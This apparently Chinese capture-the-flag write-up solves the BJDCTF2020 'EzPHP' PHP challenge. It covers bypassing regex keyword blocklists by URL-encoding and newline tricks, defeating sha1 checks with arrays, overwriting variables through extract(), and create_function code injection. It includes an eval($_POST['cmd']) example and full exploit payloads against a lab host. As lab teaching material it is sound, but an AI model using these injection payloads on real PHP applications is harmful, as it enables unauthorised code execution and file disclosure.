[BJDCTF2020]EzPHP

[BJDCTF2020]EzPHP

解码:http://794983a5-f5dc-4a13-bc0b-ca7140ba23f3.node3.buuoj.cn/1nD3x.php

源代码:

 This is a very simple challenge and if you solve it I will give you a flag. Good Luck!
"; if($_SERVER) { if ( preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING']) ) die('You seem to want to do something bad?'); } if (!preg_match('/http|https/i', $_GET['file'])) { if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') { $file = $_GET["file"]; echo "Neeeeee! Good Job!
"; } } else die('fxck you! What do you want to do ?!'); if($_REQUEST) { foreach($_REQUEST as $value) { if(preg_match('/[a-zA-Z]/i', $value)) die('fxck you! I hate English!'); } } if (file_get_contents($file) !== 'debu_debu_aqua') die("Aqua is the cutest five-year-old child in the world! Isn't it ?
"); if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){ extract($_GET["flag"]); echo "Very good! you know my password. But what is flag?
"; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); } if(preg_match('/^[a-z0-9]*$/isD', $code) || preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { die("
Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?>

关于第一处限制:

if($_SERVER) { 
    if (
        preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
        )  
        die('You seem to want to do something bad?'); 
} 

关于$_SERVER['QUERY_STRING'].他验证的时候是不会进行url解码的,但是在GET的时候则会进行url解码,所以我们只需要将关键词编码就能绕过。

关于第二处限制:

if (!preg_match('/http|https/i', $_GET['file'])) {
    if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {
        $file = $_GET["file"];
        echo "Neeeeee! Good Job!
"; } } else die('fxck you! What do you want to do ?!');

preg_match值匹配第一行,句尾加上%0a进行绕过,绕过preg_match主要有两种方法即换行符与PRCE回溯此处超出。

payload:dedu=aqua_is_cute%0a

关于第三处限制:

if($_REQUEST) { 
    foreach($_REQUEST as $value) { 
        if(preg_match('/[a-zA-Z]/i', $value))  
            die('fxck you! I hate English!'); 
    } 
}  

$_REQUEST方式接收请求是存在优先级别的,如果同时接受GET和POST的数据,默认情况下POST具有优先权,所以只需要在get的同时post数字即可。

payload:POST:debu=1&file=1

关于第四处限制:

if (file_get_contents($file) !== 'debu_debu_aqua')
    die("Aqua is the cutest five-year-old child in the world! Isn't it ?
");

这里利用data协议即可:file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61

与此同时file也需要被post一下。

关于第四处限制:

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?
"; } else{ die("fxck you! you don't know my password! And you don't know sha1! why you come here!"); }

这里利用数组进行一下绕过就可以了,因为当sha1()的参数为数组,此时就会返回false。

payload:
shana[]=1&passwd[]=2

关于第五处限制:

if(preg_match('/^[a-z0-9]*$/isD', $code) || 
preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) { 
    die("
Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); } else { include "flag.php"; $code('', $arg); } ?>

这里利用到了create_function()代码注入。

create_function()函数有两个参数$args和$code,用于创建一个lambda样式的函数

例如:$myfunc = create_function('$a, $b', 'return $a+$b;');
相当于:

function myfunc($a, $b){
    return $a+$b;
}    

与此同时当第二个参数无限制时:

$code=return $a+$b;}eval($_POST['cmd']);//

就会变成:

function myfunc($a, $b){
    return $a+$b;
}
eval($_POST['cmd']);//}  

看到这道题,在上一阶段sha1比较的过程中,extract($_GET["flag"]);这里我们可以进行变量覆盖,从而掌控住arg变量与code变量。
同时根据上面的介绍我们可以通过必和符号来执行自己定义的函数:

&flag[arg]=}a();//&flag[code]=create_function

拼接过后就应该是:

function {}a();//}

这样子了。

这个a我们是可以随时改成其他的函数的。

但是此时很多函数都被禁用了,文件中包含了flag这个文件,利用get_defined_vars()将所有变量与值都进行输出,此时payload就为:

flag[arg]=}var_dump(get_defined_vars());//&flag[code]=create_function

输出出来但还不是真正的flag,提示我们是在另一个文件里面,flag4.php,此时我们可以利用require,来代替include,利用base64编码绕过flag的过滤,利用require()来代替require" "。

payload:flag[arg]=}require(base64_decode(xxxxxxx));var_dump(get_defined_vars());//&flag[code]=create_function

非预期解:利用异或或者~进行取反操作。

最终payload:
GET:

http://794983a5-f5dc-4a13-bc0b-ca7140ba23f3.node3.buuoj.cn/1nD3x.php?%64%65%62%75=%61%71%75%61%5f%69%73%5f%63%75%74%65%0a&file=data://text/plain,%64%65%62%75%5f%64%65%62%75%5f%61%71%75%61&%73%68%61%6e%61[]=1&%70%61%73%73%77%64[]=2&%66%6c%61%67[%63%6f%64%65]=create_function&%66%6c%61%67[%61%72%67]=;}define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);%23  

POST:

debu=1&file=1

你可能感兴趣的:([BJDCTF2020]EzPHP)